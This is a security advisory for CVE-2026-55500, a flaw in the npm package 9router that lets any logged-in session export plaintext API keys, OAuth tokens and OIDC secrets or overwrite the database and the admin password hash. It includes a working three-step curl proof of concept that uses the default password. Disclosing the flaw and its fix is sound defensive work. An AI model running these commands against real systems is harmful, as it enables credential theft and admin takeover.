critical · 9.9CVE-2026-55500Jul 6, 2026

CVE-2026-55500: 9router Unprotected Database Export/Import Credential Theft

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any authenticated 9router user can dump the entire database in plaintext (all API keys, OAuth tokens, and OIDC secrets) or silently overwrite it with attacker-controlled data, including a new admin pa

Package9router
Ecosystemnpm
Affected<= 0.4.71

The problem

The `/api/settings/database` route in 9router performs full database export (GET) and full database import (POST) with no re-authentication check beyond a valid session JWT.

The `exportDb()` function returns every row from `apiKeys`, `providerConnections`, and `settings`, including plaintext API key values. The `importDb()` function runs a transaction that wipes all tables and replaces them with attacker-supplied JSON, which effectively resets the admin password hash to anything the attacker chooses.

Proof of concept

A working proof-of-concept for CVE-2026-55500 in 9router, with the exact payload below.

bash
# Step 1: log in with the default password to get a JWT cookie
curl -s -c cookies.txt -X POST http://TARGET:20128/api/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"password":"123456"}'

# Step 2: export the full database (plaintext API keys, OAuth tokens, OIDC secrets)
curl -s -b cookies.txt http://TARGET:20128/api/settings/database

# Step 3: import attacker-controlled database (overwrites all settings + password hash)
curl -s -b cookies.txt -X POST http://TARGET:20128/api/settings/database \
  -H 'Content-Type: application/json' \
  -d @attacker_db.json

The root cause is that `dashboardGuard.js` treats `/api/settings/database` as `ALWAYS_PROTECTED`, meaning it checks for a JWT or CLI token, but does not require password re-confirmation before allowing destructive operations.

On export, `db.all('SELECT * FROM apiKeys')` returns the raw `key` column with no masking. On import, the handler calls `importDb(payload)` directly from the request body without validating or sanitizing any field, running a wipe-then-insert transaction with fully attacker-controlled data.

This is CWE-200 (information exposure) and CWE-862 (missing authorization) combined: a low-privilege session token is sufficient for complete database takeover.

The fix

Upgrade to 9router 0.4.72 or later. The fix requires current-password re-verification before the export or import handler executes, removes plaintext `key` values from the export payload (returning masked values instead), and adds a confirmation step plus audit logging for all import operations.

Reported by decolua.

References: [1][2]

Related research